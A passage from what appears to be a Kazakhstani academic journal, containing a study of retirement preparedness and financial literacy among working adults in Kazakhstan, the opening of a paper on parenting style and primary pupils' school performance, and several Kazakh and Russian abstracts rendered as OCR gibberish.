robots - CEO assistants on its basis activates the scientific developments in artificial intelligence. The
development of a universal management tool will have a multiplier effect on all sectors of the country's
economy and in the Higher School system.
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BACKAPY MOCEJIEJEPIH HIEINY KE3IHJE AKITAPATTBI BIJIIMI'E AUHAJIIBIPY

AHHoOTamMsl. Makanana 3MATKEPIiK KbI3METIEH aifHaJubICaThIH aJaMIapiblH aKMapaTThIK JKYKTeMeciHe
KaTBICTBI Macenenep KapacTblpbuirad. Kasipri Tanma yibIM KeTeKLIijiepi, Talgaylibl-capanmbuiap KYMBIC yKacai-
TBIH aKapar KelileMi KapKblH[bl yiIFaloaa. Anaiijga memriM Kadbuigay YpIiCiHIer! KYHAETIKTI dKYMbICKA apHaJFaH
aKnapar KeyeMi TypakThl 0okl Kaja Oepeni. OcblFaH colikec Oonamakra OutiMre aifHanaThIH jka3danap, TEKCTTep,
Ky)XaTTap CeKuUai opTypii QopmanapaaH TypaTblH aknaparT arFbIMBIH camalibl IpiKTey Macelesiepi TybIHAAMIbI.
FrutbiMu osieOueTTepae aknapaTThiH OUTiMre aifHaIy Mocelieci a3 3epTTelireH. O3iHIIK oiiay KYHECIH KOHE O31HIIK
3USTKEPIIK KBI3METIH AYPhIC YHBIMAACTHIPY Macelieci 0acKapyIIbUIBIK KBI3METIICH aiHaJbICAThIH aJaMIapblH
KBI3BIFYIIBUIBIFBIH Ty bIpaabl. Oyap yIIiH xaHa OU1iM KaJIbINTACTBIPY YPAICIHIH OacKapbIM/bl )KoHE TaOBICTHI OOTYBI
MaHb3bl. Ockl MoceseHi Iemy yurH cyObekT OutiMiH nudpnanasipateiH Insight-DNA TeXHOIOTHACH — OWIBI
3UATKEPIIIK OHIMIEpre aifHaJIAbIpaTHIH TEXHOJOTHSA YCHIHBII OTHIpMBI. Kommany camacer keH Insight-DNA Tex-
HoJorusickl 2016 KBUTBI aBTOPIBIK KYKBIK HBICAHBI peTiHAe Tipkendi. bynm Makamanga 6i3 aTainFaH TEXHOJOTHSIHBIH
KOJIJaHy acHeKTiepiHiH Oipi — OimiMai nudpianaslpy OapbIChIHIA TEKCTTIK OHIMICPIl 93ipieyai KapacThIpaMbl3.
JKakchl yilbIMIaCTBIPBUIFaH KOHE KYPbUIbIMIIAIFaH OUTIMIEep TEKCTTIK OHIMIEp TYpiHAe, SsFHK OacKapy HIeiMAepiH
KaOblIIayFa bIKNAN €Te OTHIPBIN, KaObUIgayFa, TYCIHyre, TypJieHAIpyre MyMKIHIIK OepeTiH TeKCTTiK (opmanapia
Oepineni xxoHe KaObLU1aHa bl ByriHri TaHaa HapbIKTa OUTIMII HU(PIAaHABIPY TEXHOJOTUACHIHBIH Nakaa 00JIybl XKoHE
COHBIH HeriziHne ortaHablK poborrap — CEO kemekuiiyiepiH jkacay jKacaHAbl MHTEIUIEKT CalaChlHAAFbl FHUIBIMU
3epTTeyJIep iy OeICeH 1 KYPri3iayiHe bIKIaI eTeIl.

Tyiiin ce3nep: OiniMai wudpnanaspy, 6iimMai 6ackapy, 3UATKEpIiK OHIM, KOPIOPATHBTIK Oi1iM
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TPAHC®OPMALUA UHO®OPMAILIMHN B 3HAHUS ITPU PEIIEHWUUN 3AJIAY YIIPABJIEHUSA

AnHoTanusi. B crathe paccmarpuBaroTcs NpoOJIeMbl JIIOAEH, 3aHUMAIOUINXCS WHTEIICKTYalbHOU AesTellb-
HOCTBIO, CBSI3aHHBIE C MH(OPMAIIMOHHON Neperpy3Kkoil. B coBpemeHHOM Mupe KoJMuecTBO HHPOPMAIHH, ¢ KOTOPOH
paboTaroT pyKOBOIMTEINH, aHAINTHKU-IKCIIEPTHI MOCTOSHHO pacTeT. IIpu sTom mHbOpManus, KkoTopas HeoOXoIuMa
JUTS €KeITHEBHOW pabOoTHI B Mpolecce MPUHITHE PEIICHUH, TPUOTU3UTEIHFHO OCTaeTCA IMOCTOSHHON Mo 00pemy. B
CBSI3H, C Y€M BO3HHUKAET MPoOIIeMa Ka4eCTBEHHOTO 0TO0pa, GMIBTPAIlNH ITOTOKAa HH(OPMAIIHU C TIPEBPAIICHUEM €0
pa3HooOpa3HbIX (opM: 3ammcell, TEKCTOB, JOKYMEHTOB B 3HaHMA. Borpoc tpanchopmarmy HHPOpPMALIUN B 3HAHUSL
cabo M3ydeH B HaydyHOIl nmTepaType. Bompocsl kak OpraHu30BaTh CBOE MBIIIJIEHHE W KaK OPraHM30BaTh CBOIO
MHTEJJIEKTYalbHYIO AEATEIbHOCTh B PaMKaX OPTaHM3ALMH BBI3BIBAIOT MHTEPEC y JIIOJCH, 3aHUMAIOIIUXCS yNpaB-
JIGHYECKOH JesITeNbHOCTHIO. 11 HUX Ba)KHO, YTOOBI MPOLECC CO3AaHMs HOBOI'O 3HAHUS OBUI yIpPaBISEMBIM U IPO-
JOYKTUBHBIM. [yisi TOro, 4roObl pemuTh 3Ty 3aJady HaMH IpeJylaraeTcs TEXHOJOrus LUU(pPOBU3ALMU 3HAHHUN
cyonekTa Insight-DNA. B 2016 roxy texHonorust Insight-DNA ¢ mmpokum criekTpoM HNpuUMeHeHus: Oblia 3aperu-
CTpHpOBaHa Kak OOBEKT aBTOPCKOrO IMpaBa. B aHHOW CTaThsi MBI paCKpOEM OJMH acleKT NMPUMEHEHHs ITOH Tex-
HOJIOTUM — CO3[JaHNE TEKCTOBBIX NMPOAYKTOB B paMKax HU(POBHU3ALMH 3HAHUI. MBI CUMTaeM, 4TO 3HAHUS, XOPOLIO
OpraHM30BaHHBIC U CTPYKTYPUPOBAHHBIE NIEPEAIOTCSI U BOCIIPUHUMAIOTCS B TEKCTOBBIX NpoAyKTax. IlosBienne Ha
PBIHKE TEXHOJIOTUH LU(POBU3AIMN 3HAHUH 1 CO3/[aHUE HA €€ OCHOBE OTEYECTBEHHBIX POO0OTOB — moMoIiHiKoB CEO
aKTHBH3MPYET Hay4YHbIE Pa3padOTKH B Chepe NCKYCCTBEHHOTO HHTEIUICKTA.

KiroueBble cioBa: nnpoBU3aLisl 3HAHUH, yIpaBlIeHNUE 3HAHWSMH, WHTEJUIEKTYalbHBIH HNPOIYKT, KOpIOpa-
TUBHOE 3HaHNE
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RETIREMENT PREPAREDNESS AMONGST WORKING ADULTS
IN KAZAKHSTAN

Abstract. Today, the topic related to the retirement planning and the future of a person at retirement age is
relevant, because the aging of the nation is going on all over the world. All countries of the world are engaged in the
study of this topic. However, for Kazakhstan, this topic is still not sufficiently developed, and there is a great poten-
tial for research and improvement. In Kazakhstan, the number of elderly people is also increasing, and retirement
planning is important. This study aims to determine how the citizens of Kazakhstan plan for their retirement; their
long-term care and what level of financial literacy they have in relation to pension accrual. In addition, it was clari-
fied on what factors the final decision of people regarding retirement planning. The study was conducted in the form
of interviews with 10 respondents. Each of them shared their opinion, experience and perspective on their financial
matter in responding to retirement planning.

Keywords: retirement preparedness, Kazakhstan, working adults, financial literacy.

Introduction. Over the past fifty years, retirement planning is the main personal and social problem
in the world. To ensure adequacy in the planning of a retirement, a profound and critical reflection is
needed in the future means that they have in the household [1]. The Republic of Kazakhstan gained its
independence in 1991 after the collapse of the Soviet Union. In 1998, the pension reform was imple-
mented, replacing the PAYG system of the former Soviet Union, which was aimed to address the dete-
riorating government budget and creating an independent and self-financing pension system. The
accumulative pension system after this reform began to develop before the crisis, which was in 2008.
After the crisis, pension system performance deteriorated significantly, which raised questions about the
ability of pension funds to provide adequate benefits in the future. Therefore, in 2013, a new version of the
pension law was signed, which consists of two parts: 1) increasing the retirement age of women from 58
to 63 years; and 2) creating the SiAF (single accumulated pension fund) the only legitimate fund to collect
mandatory pension contributions. The only legitimate fund for collecting mandatory pension contributions
is the SiAF. The only shareholder of SiAF is the government, and the National Bank manages the com-
pany SiAF. But the National Bank has an option, not an obligation to delegate management of pension
assets to the NSAF [2].

The pension system of Kazakhstan is divided into three level, where there is a solidary and funded
system. The first level is a solidarity pension accrued to persons who worked before 1998 not less than six
months. The basic pension, which increases annually and, as of 2018, is 15,274 tenge (National currency
of Kazakhstan). All pensioners receive basic pension payments, regardless of deductions and length of
service. Since July 1, 2018, a new concept of the appointment of a basic pension, not fixed by a certain
indicator and depending on the length of service and the amount of the subsistence minimum (PM), has
been introduced. Second level compulsory accumulative pension system with a fixed 10% pension tax.
Third level accumulative system based upon voluntary occupational pension contributions. A complete
transition to accumulative scheme will be completed by 2040. Present and future Kazakhstan pensioners
are concerned about the effectiveness of the Single Accumulated pension Fund (SiAF) pension system
which leads to new risks. Planning for retirement in Kazakhstan is poorly organized. Most of the elderly
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depend on the pension, as well as on the income of their children. This allows thinking about the pension
fund even more to ensure future [2].

In Kazakhstan, men can retire at the age of 63, for women - 58 years. From 2018 on the basis of the
legislation of the Kazakhstan, the retirement age for women will increase every year for 6 months. Such
an increase will occur until 2027 upon reaching the threshold of 63 years. Raising the retirement age to 63,
which is related to life expectancy and about 70% is made up of women's [3]. Although the article by
G. A. Taspenova concluded that "In the country, the average duration of life has reached 69 years"
[4, p. 100]. In 2017, the proportion of the population in Kazakhstan at the age of 65 years and over is
7.65%, which is 1418 million people [5]. In Kazakhstan, the nation is aging, so it will lead to the problem
of the social life of older people who will receive inadequate income in the future.

Another problem in financial literacy. In article T. K. Bekzhanova says that "Kazakhstan has adopted
a state program for the development of education for 2011-2020, where it is written that investment in
human capital is essential for creating a technically progressive, productive workforce that can adapt in a
rapidly changing world" [6, p. 127]. But at the same time, Botagoz Zhumanova, a financial analyst of
Kazakhstan noted that "If take a ten-point scale, the overall level of financial literacy in Kazakhstan is at
the third level". The bulk of the population has no understanding of many financial concepts. In general,
people with an income above the average are financially literate. They know how and where to invest,
control expenses, increase incomes and orientate themselves in services. But there are not so many [7].

In addition, Due to the rapidly aging population in Kazakhstan, there may be a problem with the high
level of medical care requirements. The elderly will have a high demand for outpatient, inpatient, and
chronic care. Another problem is long-term care for very old people. This care will be costly, as it will
have great opportunity costs. For example, if young people spend time caring for the elderly, instead of
working. Thus, the expenses for medical care and health care will increase as the population grows.

Research questions and significance of study. According to the above purpose statements, the
study is seeks to explore the following research questions:

1. How the citizens of Kazakhstan plan their retirement planning?

2. At what level of financial literacy regarding retirement planning are residents of the Republic of
Kazakhstan?

3. How the employees of the Republic of Kazakhstan plan their long-term care after the retirement age?

This study will examine the current situation of people's retirement planning in Kazakhstan and add
knowledge future retirement planning. The purpose of this study is to help those younger generations, to
plan their retirement goals when these people are employed at work, and to prevent social and economic
burdens in Kazakhstan. An important factor for people themselves is their recognition of the need for
income during the retirement age. They thus can save or postpone a certain amount before the retirement.

Methodology. In this study, the theory will be developed using the inductive approach. The study
will be qualitative with a phenomenological strategy. In the research, the philosophy of interpretivism was
taken. To collect the data, semi-structured individual in-depth interviews with the size of ten target
samples will be applied. Answers to the interview will be received from various organizations, where
adults aged 35 to 63 years old work. The interview will be conducted with the help of Skype and
WhatsApp application.

RESEARCH RESULTS.

Descriptive Statistics. The interview was taken from 10 working citizens of Kazakhstan randomly.
Of the respondents, 70% of women and 30% of men. All respondents have higher education. And 9 out of
10 respondents have children.

Knowledge of the Pension System. The results of this research, it was clarified that people living in
Kazakhstan are partially know of the pension system of Kazakhstan. One of them explained that “We give
10% of the salary for a special fund...After retirement, the pension fund gives us this money every
month... There are 2 types of accumulation of pensions... Men retire at 63, and women at 58. But the
government said that there will be an increase in the age of women probably up to 63. But this has not yet
been confirmed... The reason is that of the shortage of human capital and the fact that there are many
women in Kazakhstan... I do not have extra money. Now I'm paying for studying to my oldest daughter,
who will finish study this summer... Even if I do not pay my daughter's studies, my salary is small enough
to save a good amount. Because of the salary, there is no possibility to save”.
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The majority know that 10% of the salary is accrued on a mandatory basis every month, and after the
retirement age, the pensioners will receive the accumulated money every month. All the respondents
understand that the current salary will not provide them with a good pension, but they will be saved
money in other kinds of retirement savings. For this people do not have enough extra money. All the
expenses they spend on utilities, food, schooling children and other small expenses. People with an
average monthly salary live from wages to wages, which is simply not enough to spend extra money.
Many people who worked until 1998, do not know that they can receive a solidarity pension from the
state. Also, all the respondents did not know how many types of pension system exist. Most respondents
suggested that there is only one, which accumulates 10% of wages. After explaining respondents to all
types of pension systems, some told that they had heard about such types, but they never checked the
information, but most knew that the information could be obtained on the SiAF website. All the respon-
dents knew that the retirement age for men is 63 years, and for women 58 years, but they also added that
the retirement age of women will increase to 63 years, but no one was aware that this law came into force.
In addition, some even knew in detail that the increase in the retirement age of women will be every year
for 6 months. The respondents answered that the reason for this increase was the first working capacity of
people of Kazakhstan and the lack of human capital, secondly, the life expectancy, the third number of
women more than men, the fourth because of the small pension, many want to work additionally and earn
money after retirement and the fifth reason is the increase in the country's economy.

Future Retirement Planning. Some of the respondents to the question of what they will do at
retirement age have answered that they want to travel, but they also realized that such an opportunity
would be if the children help them or they can do something that will bring them additional income in the
pension age. All the respondents understand that the accumulated pension will suffice for food, utilities, as
well as for the medicine, although some have also added that if the illnesses are serious, then the pension
will not even suffice for the medicine. They explained the shortage of pensions by the fact that the very
sum of the pension will be small. The reason is that they are currently receiving an average wage.
Considering that only 10% of the salary is deducted every month this is very little for the future. There-
fore, some respondents hope for the help of their children at retirement age, but there are also those who
rely on themselves and children. Also, some of the respondents answered that they will work even in
retirement age. One of the respondents said that "My pension will be low, so after retirement age, I will
work for private or foreign companies. Because I cannot live on a pension. But if I cannot continue
working and if I will have enough money, then I would open a business myself. I also have a daughter, but
1 take refuge in myself. Maybe she will help me too... If there were extra money, I would buy real estate
and then rent it out". Many after explaining retirement planning thought it over and answered that if they
had the opportunity and the extra money now, they would have first bought real estate, then put in a
deposit and opened a business. Only one respondent said that she was already insuring her life for the
future.

Financial Literacy. Considering table can see that first compound interest question received 80% of
the correct answer, but when compared with the second compound interest, only 30% answered correctly,
and 70% answered incorrectly. The difference between the two questions was the interest rate, wherein the
first it was 2%, and in the second 20%. Hence it can be concluded that with large amounts of respondents
could not cope. The question of inflation has a higher correct answer, in which 80% answered correctly
that they will be able to buy less in a year if the interest rate is 1%, and inflation is 2%. Also, 60% of
respondents correctly understand that buying two shares of different companies is better than buying one
share of one company. In the time value of money, 90% answered correctly, saying that after 3 years, a
devaluation may occur, the prices for food and other services will change, so the one who will receive in
the present time is rich. Money Illusion 80% had the right answers, which meant that if wages doubled,
but also doubled the price of goods, then if do not change the shopping cart, then with a new salary can
buy the same thing which bought before that. In addition, a question was asked as they relate to the
pyramids, online casinos, and slot machines, whether they consider them a financial tool. The answer was
negative. None of the respondents would like to contact this. Everyone believes that all this is reckless,
illegal, charlatans and time wasted. Of course, many know that if a person is lucky, then this is fast money,
but the respondents would not risk using them.
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Financial literacy

Responses
Correct Incorrect DK Refuse
First compound Interest 80% 0 20% 0
Inflation 80% 20% 0 0
Stock Risk 60% 40% 0 0
Second compound Interest 30% 70% 0 0
Time Value of Money 90% 10% 0 0
Money Illusion 80% 20% 0 0

Lack of trust. When conducting the interview, it was clarified that lack of trust plays an important
role in decision-making. As quoted by the respondent "I myself will not voluntarily contribute, 1'd rather
keep this money in banks abroad. Because it does not trust that in the future we will be able to get our
accumulated pensions or not. Such cases were in Kazakhstan, that the accumulated money we will say so
simply disappeared". 1f consider the public sector, then all respondents refused to voluntarily accrue
additional interest on a future pension. The first reason was that people do not have extra money because
of their wages and the second is distrust towards the state. The reason for this is the changing rules for
which the citizens of Kazakhstan cannot keep track of. The respondents are not even sure that they will be
able to receive the accumulative pension at the retirement age. This factor was affected by the fact that the
money from the investment in "Coupons" was not returned to anyone in the past [8]. They are afraid that
the state can change all rules relating to retirement to their retirement age or not give them money. Also,
due to the devaluation, the respondents do not want to accumulate further, because in the future this
money will lose its value. Many preferred to take a deposit in a short time, but in the long term cate-
gorically refused. Open the business of the respondents preferred on the accumulated money or on the
money they put on the deposit in the short term. Respondents believe that doing business in Kazakhstan is
very difficult and there is a high probability of bankrupt. They also noted that not everyone can do
business, what it is necessary to be able to do. If the business will prosper, then this is a good option for
retirement age, then it is not necessary to depend on pension accumulation, but if the business does not
give us good money, then will have to hope for a pension. But they did not want to take out a loan to open
a business, because business itself is a risky option. If the business is not successful and, moreover, the
interest rate is high, it will be difficult to close the loan accordingly. This fear does not allow residents of
Kazakhstan to take out a loan to open a business. To take a loan, some agreed only in the case of buying a
property or a car. The reasons for the refusal are unworkable state system, the credit rate is high, the wage
is low and the opportunity to lose work for the respondents was easy. This shows that in order to take out a
loan, a person must be sure of the opportunity to work before the loan is closed, in which all 10 res-
pondents were not sure.

In addition, because of the devaluation of the tenge, it was depreciated that it also struck the popu-
lation of Kazakhstan [9]. Thus, the deposit is also unreliable, except that it is to keep money in three
currencies. The respondent had this to say "money now does not have value. Even the interest rate in the
long term will lose its value. The deposit can be taken in the short term. Because if there is a devaluation,
the probability of covering losses will be small. The best option is to keep money in different currencies. If
there are losses in one currency, then there is the possibility of at least recovering losses from another
currency". In the current state, one can see that several banks have already unified in Kazakhstan, this also
causes distrust in the people of the country and they would prefer to keep money in banks abroad or invest
extra money in real estate. Respondents believe investment in real estate is the best option. Because there
will be no risk of loss of real estate and loss of real estate value. In the future, have opportunity can rent
real estate and live on the money received.

There is also no trust in the private sector in Kazakhstan. According to respondents "Now a lot of
people are opening insurance companies, but this is not a guarantee that they will exist until my
retirement. Is that one or two will work. But not all insurance company. Therefore, this is a very big risk.
But if the system is like in Germany, then I would be insured", could say that they would not mind paying
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their money to insurance companies, as they do in Germany. But they cannot do this because of the lack of
extra money. Some responded that even if there were extra money, they would not even deduct to
insurance companies. Respondents do not believe that private companies in retirement age will give them
their saving money. During this long period, everything may change, private companies may become
bankrupt. They came to this conclusion because now many private insurance companies are opening all
over Kazakhstan, and some are already going bankrupt and this says that in the future the possibility that
private companies will become bankrupt is great. There is no established system in Kazakhstan like in
Europe, hence, there is no trust in the private sectors in Kazakhstan itself.

And a big factor of distrust is fear. Fear of losing everything that has accumulated. Fear of taking a
loan and not closing it. Fear of a sharp devaluation. Fear of the fact that banks and private companies will
go bankrupt. Therefore, the best option for all was the purchase of real estate, which will not lose its value
in the future. In addition, in retirement age, people can sell or rent it and receive additional money. Many
of the respondents answered that if there is stability in the country and everyone will know what awaits
them in the future, both from the state and from the private sector, then all people would start already in
the present to plan their retirement.

Long-term care. For residents of Kazakhstan, who receive an average salary, it will be difficult to
live in retirement age. All respondents did not know the exact concept of long-term care and first heard
this word, but many associated it with caring for people who cannot care for themselves. After a full
explanation of long-term care and how important it is, respondents were interested in Investment in long-
term care. They had this to say "We realized that we should start planning now because in retirement age
we will live normally. But in our country, this is not possible with a small salary, not everyone gets a good
salary... Thus, we simply do not have the opportunity to do something now. All our money is just spent on
the necessary things now... We realized that it requires a lot and pension money may not be enough.
Because the medicine is expensive and the house for old people is also not cheap".

In Kazakhstan, children or relatives wake cares for retirees. Each of them understood that if people in
retirement age cannot get support from the family, they will often get sick, then they will have to pay all
expenses with his accumulated money. Respondents stressed that many pensioners have only enough
pension to cover the communal services and daily meals, other types of services simply lack the accu-
mulated money. The respondents also stressed that many are afraid of retirement age, compared to people
from Europe. Such a reason is a small pension and the inability to enjoy life after retirement. For all the
respondents, it was not possible to go nursing home because they did not want someone to take care of
them, they want to be with their families in old age and pension houses are not in a good condition. Of
course, there are exceptions, this is when a pensioner has no relatives, no children, then it is better to pay
money to a nursing home and live there than live in an apartment and pay utility bills.

Wages play a big role in the planning of long-term care, if the salary of a person is more than the
average in Kazakhstan, at the retirement age people will receive a pension, which can be lived normally.
But many receive an average salary or lower than the average, it is impossible to accumulate a good
pension, and if consider the devaluation, higher prices in the future, then it will be difficult to live with this
pension. In this case, of course, one should think about long-term care in advance and start saving at the
present time, but this is not possible since all wages are spent on necessary things in the present tense,
such as food, utilities, school fees, and etc. Some can accumulate, but only in the short term.

By results, can say that long-term care is important, but also not cheap. All the respondents answered
that life insurance is a good idea, but they also added that this is not possible. The reason for saving money
for long-term care is that people do not trust insurance companies, as well as a small wage that is spent on
the necessary things.

Conclusion. The results of the study, it was clarified that residents of Kazakhstan know in part about
the pension system of Kazakhstan and that many have never been interested in it. Most of them knew only
one type of pension contribution in the form of an accumulated system, how many percent they
accumulate from wages each month and that after the retirement age all residents of Kazakhstan will
receive a monthly pension. Workers who worked until 1998 did not even know about the existence of a
solidary system and that they can receive it during the retirement age. They knew that the woman's
retirement age would be increased to 63 years, but that this law came into effect no one knew. My finding
showed that most of the respondents did not have a retirement planning because they understand that the
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pension will go to necessities, that they will not have extra money in the future. The small pension is due
to the fact that they have a small salary. For all respondents have explained the pension system of
Kazakhstan, an example is given based on the German pension system and several types of retirement
planning that work well in Europe. According to the answers, it was found that citizens of Kazakhstan at
retirement age would like to rest abroad, be with grandchildren and live without needing anything. In this
many are relying on their children, which confirms the work that is mentioned in the literature [10] and
[11]. And those who do not have, are already trying to find a way out, buying real estate and trying to
participate in various projects.

It was also clarified that none of them would additionally accumulate money in funds on a voluntary
basis because of distrust of the state and lack of money. My finding exactly in line which mentions in the
literature [9] about mistrust to the state which arose because of changing the rules about retirement, the
sharp devaluation in the country and the situation with the "Coupons". Although the order for the "Cou-
pons" was no longer valid, all respondents were not aware of this. It says that the residents of Kazakhstan
themselves were not interested and did not read the decree, and that no measures have been taken from the
state to inform the citizens of the state well. To best of my knowledge, this most of the residents did not
want to insure their health, knowing that long-term care will be expensive in the future. The reason for this
was the lack of extra money and mistrust of private companies.

In the study of financial literacy, it was revealed that most of the respondents know how to calculate
certain calculations. Many of them because of mistrust of banks, they themselves calculated the deposit
and loans. But none of them have ever counted on how much they will accumulate now on the pension
fund and how much they will receive at retirement age. Everyone only understands that it will be difficult
to live with the received pension money. Given the devaluation and instability in the country, none of
them prefers to take a deposit in the long term. In the case of a loan, the majority refused to take a loan
because of high-interest rates and fear that they would not be able to close it later. As for the opening of
the business, most were confident that not everyone is born to do business and taking credit for business is
a big risk for them. If open a business, it's a good idea to first save money on it. For respondents a good
plan is to invest in real estate and in the education of children. Most believe that investing in real estate is
one of the profitable plans in Kazakhstan. If buy a real state, it will not lose its price even during the crisis
and devaluation. Also, it can be rented by months and days, which will give an additional income. And the
real state can be left as an inheritance to children and children can receive benefits from it. In addition,
citizens of Kazakhstan prefer to invest in knowledge of children.

Financial literacy among citizens of Kazakhstan at a good level, but as for the retirement planning, it
can be concluded that the citizens of Kazakhstan themselves did not see the need for calculating the future
accumulated pension. The citizens of the country have a fear of the impossibility of obtaining future
pension savings. And fear prevents them from trusting state and private sectors. Low wages do not allow
citizens of Kazakhstan to accumulate additional money for the future. All wages go to pay for communal
services, food, family expenses and the education of children. Summing up, it can be said that the citizens
of Kazakhstan did not engage in planning a retirement and long-term care and will not be engaged yet.

The contributing factors in this study are that residents of Kazakhstan spend their wages on things of
prime necessity and that they do not think about the long-term perspective. And, the factor that they do not
have an adequate salary. In addition, they would like to have vacation and work extra. If they had extra
money, they would have invested it. It was also clear that they have great fear in relation to private sectors
like insurance and social opinion.
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KA3BAKCTAHJIATBI EHBEK ATKAPATBIH EPECEKTEPAIH
3EMHETKEPJIIKKE IIBIFYFA JAUBIHABIFbI

Annoranus. Byriari TaEma 3effHETKe IIBIFY JKACBHIH KOCIApIay )KOHE 3eHHETKEPIIKTIH OONalIarsl Typaibl Mo-
ceJie MaHBI3IbI OOJIBII TYP, OUTKEHI OYKLI olleMe aaaM3aTThIH KapTalobl XKYPIM JKaThIp. bapibIk €1 0Chl TaKBIPHIITH
KapacTbeIpraH, 3epTrereH. Jlerenmen, Kasakcran yiriH Oy TakpIpbIl o1i TyOereidsi 3epTTenMei, OChIHBI 3ePTTEYAiH
JAMBITYIbIH TOTEHNUaNbl >KoFapel. Kasakcranzga erge KacTarbl aJamMiap CaHbl apTKaH CaifblH, 3€HHETKEpIIKTI
Kocmapiay Ja MaHb3Ibl. byn seprreyniH Makcatel — Kas3akcran azamarTapbIHBIH KapKbUIBIK CayaTTbUIBIFBIH,
OJIap/bIH 3€HHETKE IIBIFY/Abl Kayail xocrapiay KepeKTiriH jKoHEe OJapblH y3aK Mep3iM/i )KUHAKTaphl Typasbl Oy
neHreitin anpiktay. COHBIMEH, 3CHHETKEpIIKTI jJKOCIapiiay Typaibl KaHiai QakTopiapra CyHeHIIK. 3epTreyre
10 xayan Oepymri epikTi Typae KaTbIChI, ojlapaaH cyxOar ambsiHabl. CyxOarTacylmbulapAblH OpKaHChICHl 3eHHET-
KEpJIKTI JKocrapiay Typaibl KapKbUIBIK KO3KapacTapbIMEH, TKipuOeci X oHe ©3IHIIK yCTaHBIMIapbl Typaiibl
nikipaepimMeH GemicTi.

Tyiiin ce3aep: 3eifHEeTKepIiKKe TaWBIHIBIK, KazakcTaH, eHOSK aTKapaThH epeceKTep, KapKbUIBIK CayaTThUIBIK.
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IMEHCHUOHHAS TOTOBHOCTbDB CPE/IU PABOTAIOIIHNX B3POCJIBIX B KASBAXCTAHE

AnHoTanms. Ha ceromHsmHuid eHb akTyaJbHa TeMa, CBSA3aHHAS C IUIAHWPOBAHHMEM BBIXOJA Ha NEHCHIO U
OyIyIiuM 4YenoBeKa B IEHCHOHHOM BO3pAacTe, IOCKOJIbKY CTapeHUE HAIMH MPOMCXOJHUT BO BceM Mupe. Bee crpaHsl
MHpa 3aHUMAIOTCS M3ydeHHeM 3Toi Tembl. OnHako B KazaxcraHe 3Ta TeMa HELOCTaTOYHA Pa3BUTA, U CYIIECTBYET
OOJIBIIION TOTEeHIMAN AJsl UCCIe0BaHUs M COBeplIeHCTBOBaHUs. B Ka3zaxcrane yBesMuMBaeTCst YHMCIIO MOMXKHIIBIX
Jrofei, U INIaHMPOBAaHUE BBIXOJa Ha MIEHCHIO UMEET BaXKkHOe 3HadeHHe. Llenbo 3Toro uccieqoBanus ABIAETCS Onpe-
JIeJIeHne TOro, Kak rpaxaaHe KazaxcraHa IUITaHUPYIOT CBOIO INEHCHIO; MX JIOJITOCPOYHBIN YXOX U YPOBEHb (DMHAH-
coBOii rpamoTHOCTH. Kpome TOro, BBISICHUTH OT KakuX (DAaKTOPOB 3aBHCHUT OKOHYATEJHHOE PELIEHHE JIOJEH OTHO-
CHUTEJIFHO TIEHCHOHHOTrO TulaHupoBaHus. VccnenoBanue npoBonwiiock B ¢opme nHTEpBBIO ¢ 10 pecrnoHneHTamy.
Kaxkaplit 13 HUX MOJENUIICSI CBOMM MHEHHEM, OIBITOM M NEPCIEKTHBOH CBOMX (DMHAHCOBBIX BOIIPOCOB B OTBET HA
IUIAaHUPOBAHUE BBIXO/a Ha IICHCHIO.
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FAMILY PATTERN AS KEY FACTOR OF PRIMARY SCHOOL
CHIDREN ACADEMIC PERFOMANCE

Abstract. Nowadays many families face problems caused by differences in their view of the parental and
educational style of upbringing. The progress of the child at school is one of the essential criteria of its assessment.
The relationship in the family where emotionally atmosphere is warm, the family where parents are respectful to the
identity of the child is defined, recognizing his rights, accepting it as the personality — give the child the chance suc-
cessfully to develop and be successful in the study. We used specific methods: Varga, Stolin Questionnaire of the
parental attitude towards children, Schubert Test "Definition of school motivation," «School test of IQ development"
(ShTUR), Phillips Test level of school anxiety. We divided participants (48 students) into two groups (Control and
Experimental). According to the results of research EG showed a low level of school motivation of 33,3%, these
children attended school reluctantly, preferred to skip classes. At lessons students often were engaged in the different
activity. We found significant differences in the results of the IQ test between EG and CG. The problem of influence
of the dominating type of the parental relation on the child gained particular relevance today. From a strategy of
behavior which parents choose depends on emotional, motivational children development.

Keywords: 1Q; Motivation; Students; Parental style; Education.

Introduction. The family is the most important source of social and economic development of
society; it makes the most critical public wealth - the person. The most important function of a family is
the education of children. The family represents a basic model for the socialization of the child, and
parents are the first teachers. They are obliged to lay the foundation of the physical, moral and intellectual
development of the child at children's age.

Education in a family is emotional, individual, and specific. Family nurture is focused, constant and
includes real opportunities in various fields of activity (household, economic, leisure, public). The wide
range of different subsystems (age, gender, professional occupation) is presented in a family; it allows the
child step by step join a social life, and also show and realize the emotional and intellectual opportunities.
In the many kinds of research (Eydemiller & Yustitskis, 2001) directed on studying of family influence on
the mental development of the child were shown that crucial importance had the type of the relations
between parents and the child. The position taken by parents, the attitude towards the child in a family in
many aspects defines all course of its mental development, abilities which are formed at the child and a
trait of personality. The variety of family relationship depends on their traditions, values, culture, and
education of parents, etc.

Problem Statement. Many factors influence the success of pupils. Children with poor health or
receiving insufficient food, anxious with problems in a family or possessing the underestimated self-
assessment, often insufficiently successfully cope with school tasks. The perception of them as the com-
petent pupil can also have a noticeable influence on the success of training. According to Eric Chikweru
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Amadi (2018), more than 20% of school students underestimate the real abilities. These children do not
expect from themselves much and are surprised if their estimates are high from time to time.

According to David Mac-Clelland (McClelland, 1985), the reasons of higher achievements of one
child in comparison with others is in cultural values in which they are brought up. The comparison of
several historical periods in some various cultures let Mac-Clelland (1985) make conclusion that the
achievement motivation — the aspiration to achieve success and superiority — is the acquired cultural value.
In any society, during any period at some national groups, the value of such achievement is much higher,
than at the others. Besides, different cultures or subcultures can appreciate different types of
achievements. In one society appreciate education level more; give preference in others to achievements in
society. Children which parents divide the values differing from accepted at school; often have the weaker
motivation to the performance of the academic tasks.

The role of parents in the creation of conditions and stimulation of certain skills development which
helping children to succeed is significant. Child will defiantly have some difficulties at school if student
comes from abusive or toxic family (criminal pattern); one of his parents has mental health problems;
family has poor housing conditions; when he has to live in foster family (Sameroff, Seifer, Baldwin &
Baldwin, 1993). If we look at the parents of the children differing in achievements in school, we will find
types of parental behavior which can realize practically any the father and mother irrespective of
economic conditions.

Researchers know long ago that the following factors relating to parental behavior are connected with
the success of children in school (Hess, Holloway, 1984).

1. Parents of successful children have realistic ideas of their current achievements, but thus believe
that in the future they will inevitably succeed in the career. Such parents help the child to develop self-
confidence, encouraging to the performance of the tasks corresponding to age at school and home.

2. The relations of parents and children differ in warmth and love. The control methods used by
parents and maintenance of discipline are characteristic instead for authoritative, than authoritative style of
